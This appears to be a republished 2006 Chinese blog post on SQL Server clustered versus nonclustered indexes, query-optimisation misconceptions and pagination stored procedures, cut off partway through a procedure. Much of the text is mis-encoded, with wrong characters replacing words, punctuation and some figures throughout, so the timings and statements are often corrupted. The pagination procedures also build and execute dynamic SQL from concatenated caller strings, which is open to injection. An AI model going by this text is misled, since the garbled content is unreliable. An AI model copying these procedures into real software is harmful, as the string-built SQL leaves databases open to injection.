烦引与非簇索引在查询中的应用与分析(?http://www.aygfsteel.com/liaojiyong/archive/2006/09/28/72497.htmlliaojiyongliaojiyongThu, 28 Sep 2006 02:43:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/09/28/72497.htmlhttp://www.aygfsteel.com/liaojiyong/comments/72497.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/09/28/72497.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/72497.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/72497.html  实际上,您可以把索引理解ZU特D的目录。微软的SQL SERVER提供了两U烦引:聚集索引Qclustered indexQ?/p>

也称聚类索引、簇集烦引)和非聚集索引Qnonclustered indexQ也U非聚类索引、非集索引Q。下面,我们举例?/p>

说明一下聚集烦引和非聚集烦引的区别Q?/p>

  其实Q我们的汉语字典的正文本w就是一个聚集烦引。比如,我们要查“安”字Q就会很自然地翻开字典的前几页

Q因为“安”的拼音是“an”,而按照拼x序汉字的字典是以英文字母“a”开头ƈ以“z”结Q那么“安”字?/p>

自然地排在字典的前部。如果您d了所有以“a”开头的部分仍然找不到这个字Q那么就说明您的字典中没有这个字Q?/p>

同样的,如果查“张”字Q那您也会将您的字典d最后部分,因ؓ“张”的拼音是“zhang”。也是_字典的正?/p>

部分本n是一个目录,您不需要再L其他目录来找到您需要找的内宏V我们把q种正文内容本n是一U按照一?/p>

规则排列的目录称为“聚集烦引”?/p>

  如果您认识某个字Q您可以快速地从自动中查到q个字。但您也可能会遇到您不认识的字,不知道它的发韻Iq时

候,您就不能按照刚才的方法找到您要查的字Q而需要去Ҏ“偏旁部首”查到您要找的字Q然后根据这个字后的늠

直接d某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序q不是真正的正文的排序方?/p>

Q比如您查“张”字Q我们可以看到在查部首之后的字表中“张”的늠?72,字表中“张”的上面是“驰”字

Q但늠却是63,“张”的下面是“徃”字Q页面是390c很昄Q这些字q不是真正的分别位于“张”字的上下方

Q现在您看到的连l的“驰、张、徃”三字实际上是他们在非聚集索引中的排序Q是字典正文中的字在非聚集烦引中

的映。我们可以通过q种方式来找到您所需要的字,但它需要两个过E,先找到目录中的结果,然后再翻到您所需?/p>

的页码。我们把q种目录Ua是目录,正文Ua是正文的排序方式UCؓ“非聚集索引”?/p>

  通过以上例子Q我们可以理解到什么是“聚集烦引”和“非聚集索引”。进一步引申一下,我们可以很容易的理解

Q每个表只能有一个聚集烦引,因ؓ目录只能按照一U方法进行排序?/p>

  二、何时用聚集烦引或非聚集烦?/p>

  下面的表ȝ了何时用聚集烦引或非聚集烦引(很重要)Q?

动作描述 使用聚集索引 使用非聚集烦?
列经常被分组排序 ??
q回某范围内的数??不应
一个或极少不同?不应 不应
数目的不同??不应
大数目的不同?不应 ?
频繁更新的列 不应 ?
外键???
主键???
频繁修改索引?不应 ?

  事实上,我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如Q返回某范围内的数据一V比?/p>

您的某个表有一个时间列Q恰好您把聚合烦引徏立在了该列,q时您查?004q??日至2004q?0?日之间的全部数据

Ӟq个速度将是很快的Q因为您的这本字典正文是按日期进行排序的Q聚cȝ引只需要找到要索的所有数据中?/p>

开头和l尾数据卛_Q而不像非聚集索引Q必d查到目录中查到每一Ҏ据对应的늠Q然后再Ҏ늠查到具体?/p>

宏V?/p>

  三、结合实际,谈烦引用的误区

  理论的目的是应用。虽然我们刚才列Z何时应用聚集烦引或非聚集烦引,但在实践中以上规则却很容易被忽视

或不能根据实际情况进行综合分析。下面我们将Ҏ在实践中遇到的实际问题来谈一下烦引用的误区Q以便于大家?/p>

握烦引徏立的Ҏ?/p>

  1、主键就是聚集烦?/p>

  q种xW者认为是极端错误的,是对聚集索引的一U浪贏V虽然SQL SERVER默认是在主键上徏立聚集烦引的?/p>

  通常Q我们会在每个表中都建立一个ID列,以区分每条数据,q且q个ID列是自动增大的,步长一般ؓ1。我们的q?/p>

个办公自动化的实例中的列Gid是如此。此Ӟ如果我们这个列设ؓ主键QSQL SERVER会将此列默认集烦引。这

样做有好处,是可以让您的数据在数据库中按照IDq行物理排序Q但W者认样做意义不大?/p>

  显而易见,聚集索引的优势是很明昄Q而每个表中只能有一个聚集烦引的规则Q这使得聚集索引变得更加珍贵?/p>

  从我们前面谈到的聚集索引的定义我们可以看出,使用聚集索引的最大好处就是能够根据查询要求,q速羃查?/p>

范围Q避免全表扫描。在实际应用中,因ؓIDh自动生成的,我们q不知道每条记录的IDP所以我们很隑֜实践?/p>

用IDhq行查询。这׃让ID可个主键作集烦引成ZU资源浪贏V其ơ,让每个ID号都不同的字D作?/p>

索引也不W合“大数目的不同值情况下不应建立聚合索引”规则;当然Q这U情况只是针对用L怿改记录内容,?/p>

别是索引的时候会负作用,但对于查询速度q没有媄响?/p>

  在办公自动化pȝ中,无论是系l首|C的需要用L收的文g、会议还是用戯行文件查询等M情况下进?/p>

数据查询都离不开字段的是“日期”还有用hw的“用户名”?/p>

  通常Q办公自动化的首会昄每个用户未{收的文件或会议。虽然我们的where语句可以仅仅限制当前用户未

{收的情况,但如果您的系l已建立了很长时_q且数据量很大,那么Q每ơ每个用h开首页的时候都q行一ơ全

表扫描,q样做意义是不大的,l大多数的用?个月前的文g都已l浏览过了,q样做只能徒增数据库的开销而已。事

实上Q我们完全可以让用户打开pȝ首页Ӟ数据库仅仅查询这个用戯3个月来未阅览的文Ӟ通过“日期”这个字D?/p>

来限制表扫描Q提高查询速度。如果您的办公自动化pȝ已经建立?q_那么您的首页昄速度理论上将是原来速度8

倍,甚至更快?/p>

  在这里之所以提到“理Z”三字,是因为如果您的聚集烦引还是盲目地建在IDq个主键上时Q您的查询速度是没

有这么高的,即您在“日期”这个字D上建立的烦引(非聚合烦引)。下面我们就来看一下在1000万条数据量的情况

下各U查询的速度表现Q?个月内的数据?5万条Q:

  Q?Q仅在主键上建立聚集索引Qƈ且不划分旉D:

Select gid,fariqi,neibuyonghu,title from tgongwen  用时Q?28470毫秒Q即Q?28U)
 
  Q?Q在主键上徏立聚集烦引,在fariq上徏立非聚集索引Q?/p>

select gid,fariqi,neibuyonghu,title from Tgongwen
where fariqi> dateadd(day,-90,getdate())  用时Q?3763毫秒Q?4U)

  Q?Q将聚合索引建立在日期列QfariqiQ上Q?/p>

select gid,fariqi,neibuyonghu,title from Tgongwen
where fariqi> dateadd(day,-90,getdate())  用时Q?423毫秒Q?U)

  虽然每条语句提取出来的都?5万条数据Q各U情늚差异却是巨大的,特别是将聚集索引建立在日期列时的差异

。事实上Q如果您的数据库真的?000万容量的话,把主键徏立在ID列上Q就像以上的W??U情况,在网上的表?/p>

是时Q根本就无法昄。这也是我摒弃ID列作集烦引的一个最重要的因素。得Z上速度的方法是Q在各个

select语句前加Q?/p>

declare @d datetime
set @d=getdate()  q在select语句后加Q?/p>

select [语句执行p旉(毫秒)]=datediff(ms,@d,getdate())  2、只要徏立烦引就能显著提高查询速度

  事实上,我们可以发现上面的例子中Q第2?条语句完全相同,且徏立烦引的字段也相同;不同的仅是前者在

fariqi字段上徏立的是非聚合索引Q后者在此字D上建立的是聚合索引Q但查询速度却有着天壤之别。所以,q是在

M字段上简单地建立索引p提高查询速度?/p>

  从徏表的语句中,我们可以看到q个有着1000万数据的表中fariqi字段?003个不同记录。在此字D上建立聚合?/p>

引是再合适不q了。在现实中,我们每天都会发几个文Ӟq几个文件的发文日期q同,q完全符合徏立聚集烦引要

求的Q“既不能l大多数都相同,又不能只有极数相同”的规则。由此看来,我们建立“适当”的聚合索引对于我们

提高查询速度是非帔R要的?/p>

  3、把所有需要提高查询速度的字D都加进聚集索引Q以提高查询速度

  上面已经谈到Q在q行数据查询旉M开字段的是“日期”还有用hw的“用户名”。既然这两个字段都是?/p>

此的重要Q我们可以把他们合ƈhQ徏立一个复合烦引(compound indexQ?/p>

  很多为只要把M字段加进聚集索引Q就能提高查询速度Q也有h感到qhQ如果把复合的聚集烦引字D分开

查询Q那么查询速度会减慢吗Q带着q个问题Q我们来看一下以下的查询速度Q结果集都是25万条数据Q:Q日期列

fariqi首先排在复合聚集索引的v始列Q用户名neibuyonghu排在后列Q:

  Q?Qselect gid,fariqi,neibuyonghu,title from Tgongwen where fariqi>''2004-5-5''   查询速度Q?513?/p>

U?/p>

  Q?Qselect gid,fariqi,neibuyonghu,title from Tgongwen 
            where fariqi>''2004-5-5'' and neibuyonghu=''办公?'  查询速度Q?516毫秒

  Q?Qselect gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu=''办公?'  查询速度Q?/p>

60280毫秒

  从以上试验中Q我们可以看到如果仅用聚集烦引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询?/p>

度是几乎一LQ甚x用上全部的复合烦引列q要略快Q在查询l果集数目一L情况下)Q而如果仅用复合聚集烦

引的非v始列作ؓ查询条g的话Q这个烦引是不vM作用的。当Ӟ语句1?的查询速度一h因ؓ查询的条目数一

P如果复合索引的所有列都用上,而且查询l果的话,q样׃形成“烦引覆盖”,因而性能可以辑ֈ最优。同?/p>

Q请CQ无论您是否l常使用聚合索引的其他列Q但其前导列一定要是用最频繁的列?/p>

 四、其他书上没有的索引使用l验ȝ

  1、用聚合索引比用不是聚合索引的主键速度?/p>

  下面是实例语句:Q都是提?5万条数据Q?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''  使用旉Q?326毫秒

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid<=250000  使用旉Q?470毫秒

  q里Q用聚合索引比用不是聚合索引的主键速度快了q?/4?/p>

  2、用聚合索引比用一般的主键作order by旉度快,特别是在数据量情况?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by fariqi  用时Q?2936

select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by gid  用时Q?8843

  q里Q用聚合索引比用一般的主键作order byӞ速度快了3/10。事实上Q如果数据量很小的话Q用聚集索引作ؓ

排序列要比用非聚集索引速度快得明显的多Q而数据量如果很大的话Q如10万以上,则二者的速度差别不明显?/p>

  3、用聚合烦引内的时间段Q搜索时间会按数据占整个数据表的癑ֈ比成比例减少Q而无合烦引用了多少?/p>

Q?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi>''2004-1-1''  用时Q?343毫秒Q提

?00万条Q?

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi>''2004-6-6''  用时Q?170毫秒Q提

?0万条Q?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''  用时Q?326毫秒Q和

上句的结果一模一栗如果采集的数量一P那么用大于号和等于号是一LQ?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen 
            where fariqi>''2004-1-1'' and fariqi<''2004-6-6''  用时Q?280毫秒

  4、日期列不会因ؓ有分U的输入而减慢查询速度

  下面的例子中Q共?00万条数据Q?004q??日以后的数据?0万条Q但只有两个不同的日期,日期_到日Q之

前有数据50万条Q有5000个不同的日期Q日期精到U?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen 
          where fariqi>''2004-1-1'' order by fariqi  用时Q?390毫秒

select gid,fariqi,neibuyonghu,reader,title from Tgongwen 
            where fariqi<''2004-1-1'' order by fariqi  用时Q?453毫秒

  五、其他注意事?/p>

  “水可蝲舟,亦可覆舟”,索引也一栗烦引有助于提高索性能Q但q多或不当的索引也会Dpȝ低效。因?/p>

用户在表中每加进一个烦引,数据库就要做更多的工作。过多的索引甚至会导致烦引碎片?/p>

  所以说Q我们要建立一个“适当”的索引体系Q特别是对聚合烦引的创徏Q更应精益求_,以您的数据库能得到

高性能的发挥?/p>

  当然Q在实践中,作ؓ一个尽职的数据库管理员Q您q要多测试一些方案,扑և哪种Ҏ效率最高、最为有效?/p>

  改善SQL语句

  很多Z知道SQL语句在SQL SERVER中是如何执行的,他们担心自己所写的SQL语句会被SQL SERVER误解。比如:

select * from table1 where name=''zhangsan'' and tID > 10000  和执?

select * from table1 where tID > 10000 and name=''zhangsan''  一些h不知道以上两条语句的执行效率是否一

P因ؓ如果单的从语句先后上看,q两个语句的是不一P如果tID是一个聚合烦引,那么后一句仅仅从表的

10000条以后的记录中查扑ְ行了Q而前一句则要先从全表中查找看有几个name=''zhangsan''的,而后再根据限制条?/p>

条gtID>10000来提出查询结果?/p>

  事实上,q样的担心是不必要的。SQL SERVER中有一个“查询分析优化器”,它可以计出where子句中的搜烦条g

q确定哪个烦引能~小表扫描的搜烦I间Q也是_它能实现自动优化?/p>

  虽然查询优化器可以根据where子句自动的进行查询优化,但大家仍然有必要了解一下“查询优化器”的工作原理Q?/p>

如非q样Q有时查询优化器׃不按照您的本意进行快速查询?/p>

  在查询分析阶D,查询优化器查看查询的每个阶段q决定限刉要扫描的数据量是否有用。如果一个阶D可以被?/p>

作一个扫描参敎ͼSARGQ,那么q之ؓ可优化的Qƈ且可以利用烦引快速获得所需数据?/p>

  SARG的定义:用于限制搜烦的一个操作,因ؓ它通常是指一个特定的匚wQ一个值得范围内的匚w或者两个以上条

件的ANDq接。Ş式如下:

列名 操作W?<常数 ?变量>

?

<常数 ?变量> 操作W列名  列名可以出现在操作符的一边,而常数或变量出现在操作符的另一辏V如Q?/p>

Name=’张三?

h>5000

5000<h

Name=’张三?and h>5000  如果一个表辑ּ不能满SARG的Ş式,那它无法限制搜索的范围了,也就是SQL

SERVER必须Ҏ一行都判断它是否满WHERE子句中的所有条件。所以一个烦引对于不满SARG形式的表辑ּ来说是无?/p>

的?/p>

  介绍完SARG后,我们来ȝ一下用SARG以及在实践中遇到的和某些资料上结Z同的l验Q?/p>

  1、Like语句是否属于SARG取决于所使用的通配W的cd

如:name like ‘张%?Q这属于SARG

而:name like ?张?,׃属于SARG。  原因是通配W?在字W串的开通得烦引无法用?/p>

  2、or 会引起全表扫?/p>

  Name=’张三?and h>5000 W号SARGQ而:Name=’张三?or h>5000 则不W合SARG。用or会引起全表扫

描?/p>

  3、非操作W、函数引L不满SARG形式的语?/p>

  不满SARG形式的语句最典型的情况就是包括非操作W的语句Q如QNOT?=?lt;>?<?>、NOT EXISTS、NOT IN?/p>

NOT LIKE{,另外q有函数。下面就是几个不满SARG形式的例子:

ABS(h)<5000

Name like ?三?

有些表达式,如:

WHERE h*2>5000

SQL SERVER也会认ؓ是SARGQSQL SERVER会将此式转化为:
WHERE h>2500/2  但我们不推荐q样使用Q因为有时SQL SERVER不能保证q种转化与原始表辑ּ是完全等L?/p>

  4、IN 的作用相当与OR

  语句Q?/p>

Select * from table1 where tid in (2,3)

?

Select * from table1 where tid=2 or tid=3  是一LQ都会引起全表扫描,如果tid上有索引Q其索引也会失效

?/p>

  5、尽量少用NOT

  6、exists ?in 的执行效率是一L

  很多资料上都昄_exists要比in的执行效率要高,同时应尽可能的用not exists来代替not in。但事实上,?/p>

试验了一下,发现二者无论是前面带不带notQ二者之间的执行效率都是一L。因为涉及子查询Q我们试验这ơ用SQL

SERVER自带的pubs数据库。运行前我们可以把SQL SERVER的statistics I/O状态打开Q?/p>

Q?Qselect title,price from titles where title_id in (select title_id from sales where qty>30)  该句?/p>

执行l果为:

?''sales''。扫描计?18Q逻辑?56 ơ,物理?0 ơ,预读 0 ơ?br />?''titles''。扫描计?1Q逻辑?2 ơ,物理?0 ơ,预读 0 ơ?/p>

Q?Qselect title,price from titles 
       where exists (select * from sales 
        where sales.title_id=titles.title_id and qty>30)  W二句的执行l果为:

?''sales''。扫描计?18Q逻辑?56 ơ,物理?0 ơ,预读 0 ơ?br />?''titles''。扫描计?1Q逻辑?2 ơ,物理?0 ơ,预读 0 ơ?/p>

  我们从此可以看到用exists和用in的执行效率是一L?/p>

  7、用函数charindex()和前面加通配W?的LIKE执行效率一?/p>

  前面Q我们谈刎ͼ如果在LIKE前面加上通配W?Q那么将会引起全表扫描,所以其执行效率是低下的。但有的资料?/p>

l说Q用函数charindex()来代替LIKE速度会有大的提升Q经我试验,发现q种说明也是错误的:
 

select gid,title,fariqi,reader from tgongwen 
         where charindex(''刑侦支队'',reader)>0 and fariqi>''2004-5-5''  用时Q?U,另外Q扫?/p>

计数 4Q逻辑?7155 ơ,物理?0 ơ,预读 0 ơ?/p>

select gid,title,fariqi,reader from tgongwen 
         where reader like ''%'' + ''刑侦支队'' + ''%'' and fariqi>''2004-5-5''  用时Q?U,?/p>

外:扫描计数 4Q逻辑?7155 ơ,物理?0 ơ,预读 0 ơ?/p>

  8、unionq不l对比or的执行效率高

  我们前面已经谈到了在where子句中用or会引起全表扫描,一般的Q我所见过的资料都是推荐这里用union来代?/p>

or。事实证明,q种说法对于大部分都是适用的?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen 
          where fariqi=''2004-9-16'' or gid>9990000  用时Q?8U。扫描计?1Q逻辑?404008 ?/p>

Q物理读 283 ơ,预读 392163 ơ?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16'' 
union
select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid>9990000  用时Q?U。扫描计?8Q逻辑

?67489 ơ,物理?216 ơ,预读 7499 ơ?/p>

  看来Q用union在通常情况下比用or的效率要高的多?/p>

  但经q试验,W者发现如果or两边的查询列是一L话,那么用union则反倒和用or的执行速度差很多,虽然q里

union扫描的是索引Q而or扫描的是全表?br /> 

select gid,fariqi,neibuyonghu,reader,title from Tgongwen 
          where fariqi=''2004-9-16'' or fariqi=''2004-2-5''  用时Q?423毫秒。扫描计?2Q逻辑

?14726 ơ,物理?1 ơ,预读 7176 ơ?/p>

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16'' 
union
select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-2-5''  用时Q?1640毫秒。扫

描计?8Q逻辑?14806 ơ,物理?108 ơ,预读 1144 ơ?/p>

  9、字D|取要按照“需多少、提多少”的原则Q避免“select *?/p>

  我们来做一个试验:

select top 10000 gid,fariqi,reader,title from tgongwen order by gid desc  用时Q?673毫秒

select top 10000 gid,fariqi,title from tgongwen order by gid desc  用时Q?376毫秒

select top 10000 gid,fariqi from tgongwen order by gid desc  用时Q?0毫秒

  由此看来Q我们每提取一个字D,数据的提取速度׃有相应的提升。提升的速度q要看您舍弃的字D늚大小?/p>

判断?/p>

  10、count(*)不比count(字段)?/p>

  某些资料上说Q用*会统计所有列Q显然要比一个世界的列名效率低。这U说法其实是没有Ҏ的。我们来看:

select count(*) from Tgongwen  用时Q?500毫秒

select count(gid) from Tgongwen   用时Q?483毫秒

select count(fariqi) from Tgongwen  用时Q?140毫秒

select count(title) from Tgongwen  用时Q?2050毫秒

  从以上可以看出,如果用count(*)和用count(主键)的速度是相当的Q而count(*)却比其他M除主键以外的字段?/p>

总速度要快Q而且字段长Q汇ȝ速度p慢。我惻I如果用count(*)Q?SQL SERVER可能会自动查找最字D|汇?/p>

的。当Ӟ如果您直接写count(主键)会来的更直接些?/p>

  11、order by按聚集烦引列排序效率最?/p>

  我们来看Q(gid是主键,fariqi是聚合烦引列Q:

select top 10000 gid,fariqi,reader,title from tgongwen  用时Q?96 毫秒?扫描计数 1Q逻辑?289 ơ,?/p>

理读 1 ơ,预读 1527 ơ?/p>

select top 10000 gid,fariqi,reader,title from tgongwen order by gid asc  用时Q?720毫秒?扫描计数 1Q?/p>

逻辑?41956 ơ,物理?0 ơ,预读 1287 ơ?/p>

select top 10000 gid,fariqi,reader,title from tgongwen order by gid desc  用时Q?736毫秒?扫描计数 1Q?/p>

逻辑?55350 ơ,物理?10 ơ,预读 775 ơ?/p>

select top 10000 gid,fariqi,reader,title from tgongwen order by fariqi asc  用时Q?73毫秒?扫描计数 1

Q逻辑?290 ơ,物理?0 ơ,预读 0 ơ?/p>

select top 10000 gid,fariqi,reader,title from tgongwen order by fariqi desc  用时Q?56毫秒?扫描计数 1

Q逻辑?289 ơ,物理?0 ơ,预读 0 ơ?/p>

  从以上我们可以看出,不排序的速度以及逻辑L数都是和“order by 聚集索引列?的速度是相当的Q但q些?/p>

比“order by 非聚集烦引列”的查询速度是快得多的?/p>

  同时Q按照某个字D进行排序的时候,无论是正序还是倒序Q速度是基本相当的?/p>

  12、高效的TOP

  事实上,在查询和提取大定w的数据集Ӟ影响数据库响应时间的最大因素不是数据查找,而是物理的I/0操作?/p>

如:

select top 10 * from (
select top 10000 gid,fariqi,title from tgongwen
where neibuyonghu=''办公?'
order by gid desc) as a
order by gid asc  q条语句Q从理论上讲Q整条语句的执行旉应该比子句的执行旉长,但事实相反。因为,?/p>

句执行后q回的是10000条记录,而整条语句仅q回10条语句,所以媄响数据库响应旉最大的因素是物理I/O操作。?/p>

限制物理I/O操作此处的最有效Ҏ之一是使用TOP关键词了。TOP关键词是SQL SERVER中经q系l优化过的一个用来提

取前几条或前几个癑ֈ比数据的词。经W者在实践中的应用Q发现TOP实很好用,效率也很高。但q个词在另外一个大

型数据库ORACLE中却没有Q这不能说不是一个遗憾,虽然在ORACLE中可以用其他ҎQ如QrownumberQ来解决。在以后

的关于“实现千万数据的分|C存储过E”的讨论中,我们将用到TOPq个关键词?/p>

  到此为止Q我们上面讨Z如何实现从大定w的数据库中快速地查询出您所需要的数据Ҏ。当Ӟ我们介绍的这

些方法都是“Y”方法,在实践中Q我们还要考虑各种“硬”因素,如:|络性能、服务器的性能、操作系l的性能Q?/p>

甚至|卡、交换机{?br />实现数据量和v量数据的通用分页昄存储q程

  建立一?Web 应用Q分|览功能必不可。这个问题是数据库处理中十分常见的问题。经典的数据分页Ҏ?/p>

:ADO U录集分|Q也是利用ADO自带的分功能(利用游标Q来实现分页。但q种分页Ҏ仅适用于较数据量?/p>

情ŞQ因为游标本w有~点Q游标是存放在内存中Q很费内存。游标一建立Q就相关的记录锁住Q直到取消游标。游

标提供了对特定集合中逐行扫描的手D,一般用游标来逐行遍历数据Q根据取出数据条件的不同q行不同的操作。?/p>

对于多表和大表中定义的游标(大的数据集合Q@环很Ҏ使程序进入一个O长的{待甚至L?/p>

  更重要的是,对于非常大的数据模型而言Q分|索时Q如果按照传l的每次都加载整个数据源的方法是非常费

资源的。现在流行的分页Ҏ一般是索页面大的块区的数据,而非索所有的数据Q然后单步执行当前行?/p>

  最早较好地实现q种Ҏ面大小和页码来提取数据的方法大概就是“俄|斯存储q程”。这个存储过E用了游?/p>

Q由于游标的局限性,所以这个方法ƈ没有得到大家的普遍认可?/p>

  后来Q网上有人改造了此存储过E,下面的存储过E就是结合我们的办公自动化实例写的分存储过E:

CREATE procedure pagination1
(@pagesize int, --面大小Q如每页存储20条记?
@pageindex int --当前늠
)
as

set nocount on

begin
declare @indextable table(id int identity(1,1),nid int) --定义表变?
declare @PageLowerBound int --定义此页的底?
declare @PageUpperBound int --定义此页的顶?
set @PageLowerBound=(@pageindex-1)*@pagesize
set @PageUpperBound=@PageLowerBound+@pagesize
set rowcount @PageUpperBound
insert into @indextable(nid) select gid from TGongwen 
      where fariqi >dateadd(day,-365,getdate()) order by fariqi desc
select O.gid,O.mid,O.title,O.fadanwei,O.fariqi from TGongwen O,@indextable t 
           where O.gid=t.nid and t.id>@PageLowerBound 
                        and t.id<=@PageUpperBound order by t.id
end

set nocount off  以上存储q程q用了SQL SERVER的最新技术――表变量。应该说q个存储q程也是一个非怼U?/p>

分页存储q程。当Ӟ在这个过E中Q您也可以把其中的表变量写成临时表:CREATE TABLE #Temp。但很明显,在SQL

SERVER中,用时表是没有用表变量快的。所以笔者刚开始用这个存储过E时Q感觉非常的不错Q速度也比原来的ADO

的好。但后来Q我又发C比此Ҏ更好的方法?br />  W者曾在网上看C一小短文《从数据表中取出Wn条到Wm条的记录的方法》,全文如下Q?/p>

从publish 表中取出W?n 条到W?m 条的记录Q?
SELECT TOP m-n+1 * 
FROM publish 
WHERE (id NOT IN 
    (SELECT TOP n-1 id 
     FROM publish)) 

id 为publish 表的关键?  我当时看到这文章的时候,真的是精ؓ之一振,觉得思\非常得好。等到后来,?/p>

在作办公自动化系l(ASP.NET+ C#QSQL SERVERQ的时候,忽然惌v了这文章,我想如果把这个语句改造一下,q就

可能是一个非常好的分存储过E。于是我满|上找这文章,没想刎ͼ文章q没扑ֈQ却扑ֈ了一根据此语句?/p>

的一个分存储过E,q个存储q程也是目前较ؓ行的一U分存储过E,我很后悔没有争先把这D|字改造成存储

q程Q?/p>

CREATE PROCEDURE pagination2
(
@SQL nVARCHAR(4000), --不带排序语句的SQL语句
@Page int, --늠
@RecsPerPage int, --每页容纳的记录数
@ID VARCHAR(255), --需要排序的不重复的ID?
@Sort VARCHAR(255) --排序字段及规?
)
AS

DECLARE @Str nVARCHAR(4000)

SET @Str=''SELECT TOP ''+CAST(@RecsPerPage AS VARCHAR(20))+'' * FROM 
(''+@SQL+'') T WHERE T.''+@ID+''NOT IN (SELECT TOP ''+CAST((@RecsPerPage*(@Page-1)) 
AS VARCHAR(20))+'' ''+@ID+'' FROM (''+@SQL+'') T9 ORDER BY ''+@Sort+'') ORDER BY ''+@Sort

PRINT @Str

EXEC sp_ExecuteSql @Str
GO  其实Q以上语句可以简化ؓQ?/p>

SELECT TOP 大?*
FROM Table1 WHERE (ID NOT IN (SELECT TOP 大?| id FROM ?ORDER BY id))
ORDER BY ID  但这个存储过E有一个致命的~点Q就是它含有NOT IN字样。虽然我可以把它攚wؓQ?/p>

SELECT TOP 大?*
FROM Table1 WHERE not exists
(select * from (select top (大?|) * from table1 order by id) b where b.id=a.id )
order by id  卻I用not exists来代替not inQ但我们前面已经谈过了,二者的执行效率实际上是没有区别的。既?/p>

如此Q用TOP l合NOT IN的这个方法还是比用游标要来得快一些?/p>

  虽然用not existsq不能挽救上个存储过E的效率Q但使用SQL SERVER中的TOP关键字却是一个非常明智的选择。因

为分优化的最l目的就是避免生过大的记录集,而我们在前面也已l提CTOP的优势,通过TOP 卛_实现Ҏ据量

的控制?/p>

  在分늮法中Q媄响我们查询速度的关键因素有两点QTOP和NOT IN。TOP可以提高我们的查询速度Q而NOT IN会减

慢我们的查询速度Q所以要提高我们整个分页法的速度Q就要彻底改造NOT INQ同其他Ҏ来替代它?/p>

  我们知道Q几乎Q何字D,我们都可以通过max(字段)或min(字段)来提取某个字D中的最大或最|所以如果这

个字D不重复Q那么就可以利用q些不重复的字段的max或min作ؓ分水岭,使其成ؓ分页法中分开每页的参照物。在

q里Q我们可以用操作W?gt;”或?lt;”号来完成这个命,使查询语句符合SARG形式。如Q?/p>

Select top 10 * from table1 where id>200  于是有了如下分|案:

select top 大?*
from table1 
where id>
(select max (id) from 
(select top ((늠-1)*大? id from table1 order by id) as T

order by id  在选择即不重复|又容易分辨大的列时Q我们通常会选择主键。下表列ZW者用有着1000万数?/p>

的办公自动化pȝ中的表,在以GIDQGID是主键,但ƈ不是聚集索引。)为排序列、提取gid,fariqi,title字段Q分?/p>

以第1?0?00?00?000?万?0万?5万?0万页ZQ测试以上三U分|案的执行速度Q(单位Q毫U)

늠 Ҏ1 Ҏ2 Ҏ3
1 60 30 76
10 46 16 63
100 1076 720 130
500 540 12943 83
1000 17110 470 250
10000 24796 4500 140
100000 38326 42283 1553
250000 28140 128720 2330
500000 121686 127846 7168


  从上表中Q我们可以看出,三种存储q程在执?00以下的分页命oӞ都是可以信Q的,速度都很好。但W一U?/p>

Ҏ在执行分?000以上后Q速度降了下来。第二种Ҏ大约是在执行分页1万页以上后速度开始降了下来。而第?/p>

U方案却始终没有大的降势Q后劲仍然很?br />  在确定了W三U分|案后Q我们可以据此写一个存储过E。大家知道SQL SERVER的存储过E是事先~译好的SQL?/p>

句,它的执行效率要比通过WEB面传来的SQL语句的执行效率要高。下面的存储q程不仅含有分页ҎQ还会根据页?/p>

传来的参数来定是否q行数据Ll计?/p>

--获取指定늚数据Q?/p>

CREATE PROCEDURE pagination3
@tblName varchar(255), -- 表名
@strGetFields varchar(1000) = ''*'', -- 需要返回的列?
@fldName varchar(255)='''', -- 排序的字D名
@PageSize int = 10, -- 尺?
@PageIndex int = 1, -- 늠
@doCount bit = 0, -- q回记录L, ?0 值则q回
@OrderType bit = 0, -- 讄排序cd, ?0 值则降序
@strWhere varchar(1500) = '''' -- 查询条g (注意: 不要?where)
AS

declare @strSQL varchar(5000) -- 主语?
declare @strTmp varchar(110) -- 临时变量
declare @strOrder varchar(400) -- 排序cd

if @doCount != 0
begin
if @strWhere !=''''
set @strSQL = "select count(*) as Total from [" + @tblName + "] where "+@strWhere
else
set @strSQL = "select count(*) as Total from [" + @tblName + "]"
end --以上代码的意思是如果@doCount传递过来的不是0Q就执行Ll计。以下的所有代码都是@doCount?的情况:

else
begin
if @OrderType != 0
begin
set @strTmp = "<(select min"
set @strOrder = " order by [" + @fldName +"] desc"--如果@OrderType不是0Q就执行降序Q这句很重要Q?/p>

end
else
begin
set @strTmp = ">(select max"
set @strOrder = " order by [" + @fldName +"] asc"
end

if @PageIndex = 1
begin
if @strWhere != '''' 

set @strSQL = "select top " + str(@PageSize) +" "+@strGetFields+ "
        from [" + @tblName + "] where " + @strWhere + " " + @strOrder
else

set @strSQL = "select top " + str(@PageSize) +" "+@strGetFields+ " 
        from ["+ @tblName + "] "+ @strOrder--如果是第一就执行以上代码Q这样会加快执行速度

end
else
begin--以下代码赋予了@strSQL以真正执行的SQL代码
 

set @strSQL = "select top " + str(@PageSize) +" "+@strGetFields+ " from ["
+ @tblName + "] where [" + @fldName + "]" + @strTmp + "(["+ @fldName + "]) 
      from (select top " + str((@PageIndex-1)*@PageSize) + " ["+ @fldName + "] 
      from [" + @tblName + "]" + @strOrder + ") as tblTmp)"+ @strOrder

if @strWhere != ''''
set @strSQL = "select top " + str(@PageSize) +" "+@strGetFields+ " from ["
+ @tblName + "] where [" + @fldName + "]" + @strTmp + "(["
